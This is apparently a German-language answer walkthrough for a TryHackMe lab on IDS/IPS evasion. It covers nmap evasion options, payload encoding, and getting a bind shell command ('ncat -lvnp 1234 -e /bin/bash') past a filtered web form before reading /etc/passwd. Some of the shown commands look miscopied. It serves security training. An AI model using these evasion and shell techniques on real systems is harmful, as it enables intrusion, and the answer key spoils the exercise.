https://tryhackme.com/room/redteamnetsec
Task 1 Introduction
Frage 1:
What does an IPS stand for?
Antwort 1:
Intrusion Prevention System
Frage 2:
What do you call a system that can detect malicious activity but not stop it?
Antwort 2:
Intrusion Detection System
Task 2 IDS Engine Types
Frage 1:
What kind of IDS engine has a database of all known malicious packets’ contents?
Antwort 1:
Signature-based
Frage 2:
What kind of IDS engine needs to learn what normal traffic looks like instead of malicious traffic?
Antwort 2:
Anomaly-based
Frage 3:
What kind of IDS engine needs to be updated constantly as new malicious packets and activities are discovered?
Antwort 3:
Signature-based
Task 3 IDS/IPS Rule Triggering
Frage 1:
In the attached file, the logs show that a specific IP address has been detected scanning our system of IP address 10.10.112.168
. What is the IP address running the port scan?
Zuerst müssen wir die bereitgestellten Dateien herunterladen, es ist ein Archiv mit dem Namen „1010112168.tar.gz“. Wir entpacken es und öffnen die Datei „ICMP_ECHO_REPLY“ mit einem Texteditor. Dort finden wir die gesuchte IP Adresse, die unser System pingt.

Antwort 1:
10.14.17.226
Task 4 Evasion via Protocol Manipulation
Frage 1:
We use the following Nmap command, nmap -sU -F 10.10.41.31
, to launch a UDP scan against our target. What is the option we need to add to set the source port to 161?
Antwort 1:
-g 161
Frage 2:
The target allows Telnet traffic. Using ncat
, how do we set a listener on the Telnet port?
Inzwischen eine leichte Übung für uns. Telnet läuft auf Port 23.
Antwort 2:
ncat -lvnp 23
Frage 3;
We are scanning our target using nmap -sS -F 10.10.41.31
. We want to fragment the IP packets used in our Nmap scan so that the data size does not exceed 16 bytes. What is the option that we need to add?
-f setzt die Beschränkung auf 8 Bytes, -ff auf 16 Bytes und –mtu <ZAHL> auf eine gewünschte Größe (Multiplikator von 8).
Antwort 3:
-ff
Frage 4:
Consider the following three types of Nmap scans:
-sX
for Xmas Scan-sF
for FIN Scan-sN
for Null Scan
Which of the above three arguments would return meaningful results when scanning 10.10.41.31
?
Wir probieren die verschiendenen Methoden gegen unsere Machine und der FIN Scan zeigt in diesem Fall die meisten Resultate.
Antwort 4:
-sF
Frage 5:
What is the option in hping3
to set a custom TCP window size?
Wir schauen uns die Onlinedokumentation (manpage) von hping3 an und finden unsere Lösung:
-w --win
Set TCP window size. Default is 64.
Antwort 5:
-w
Task 5 Evasion via Payload Manipulation
Frage 1:
Using base64
encoding, what is the transformation of cat /etc/passwd
?
Das erledigt der Base64 Encoder für uns, wir müssen nur noch einen Zeilenumbruch in das Eingabefeld hinzufügen, nachdem wir „cat /etc/passwd“ eingegeben haben.
Antwort 1:
Y2F0IC9ldGMvcGFzc3dkCg==
Frage 2:
The base32
encoding of a particular string is NZRWC5BAFVWCAOBQHAYAU===
. What is the original string?
Hier können wir einen Base32 Decoder verwenden.
Antwort 2:
ncat -l 8080
Frage 3:
Using the provided openssl
command above. You created a certificate, which we gave the extension .crt
, and a private key, which we gave the extension .key
. What is the first line in the certificate file?
Wir geben den openssl Befehl in der Shell ein und erstellen so beide Dateien. Dann lassen wir uns den Inhalt der .crt Datei anzeigen:
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
--snip--
cat thm-reverse.crt
-----BEGIN CERTIFICATE-----
MIIFXTCCA0WgAwIBAgIUXBZbJiEvgWs0eGjfo9J0ZDLb7+UwDQYJKoZIhvcNAQEL
--snip--
Antwort 3:
—–BEGIN CERTIFICATE—–
Frage 4:
What is the last line in the private key file?
Nachdem wir Frage 3 bearbeitet haben, haben wir auch die .key Datei. Lassen wir uns den Inhalt anzeigen:
cat thm-reverse.key
-----BEGIN PRIVATE KEY-----
--snip--
-----END PRIVATE KEY-----
Antwort 4:
—–END PRIVATE KEY—–
Frage 5:
On the attached machine from the previous task, browse to http://10.10.41.31:8080
, where you can write your Linux commands. Note that no output will be returned. A command like ncat -lvnp 1234 -e /bin/bash
will create a bind shell that you can connect to it from the AttackBox using ncat 10.10.41.31 1234
; however, some IPS is filtering out the command we are submitting on the form. Using one of the techniques mentioned in this task, try to adapt the command typed in the form to run properly. Once you connect to the bind shell using ncat 10.10.41.31 1234
, find the user’s name.
Nachdem ich eine hale Ewigkeit alle verschiedenen Verschlüsselungen mit verschiedenen Abwandlungen ausprobiert habe, hat sich herausgestellt, dass man keine benutzen muss. Wieder mal ein gute Beispiel dafür, dass man oft zu kompliziert denkt. Hier müssen wir lediglich ein extra Leerzeichen in den Befehl einfügen:
ncat -lvnp 1234 -e /bin/bash
Diesen Befehl geben wir dann in das Feld ein und drücken auf „Submit Form“. Jetzt geben wir in unserer Shell folgenden Befehl ein:
ncat -lvnp 1234 -e /bin/bash
Und wir haben Zugriff. Jetzt lassen wir uns das User-Verzeichnis anzeigen:
cat /etc/passwd
Antwort 5:
redteamnetsec
Task 6 Evasion via Route Manipulation
Frage 1:
Protocols used in proxy servers can be HTTP, HTTPS, SOCKS4, and SOCKS5. Which protocols are currently supported by Nmap?
Antwort 1:
http SOCKS4
Task 7 Evasion via Tactical DoS
Keine Fragen in diesem Task.
Task 8 C2 and IDS/IPS Evasion
Frage 1:
Which variable would you modify to add a random sleep time between beacon check-ins?
Antwort 1:
Jitter
Task 9 Next-Gen Security
Keine Fragen in diesem Task.
Task 10 Summary
Keine Fragen in diesem Task.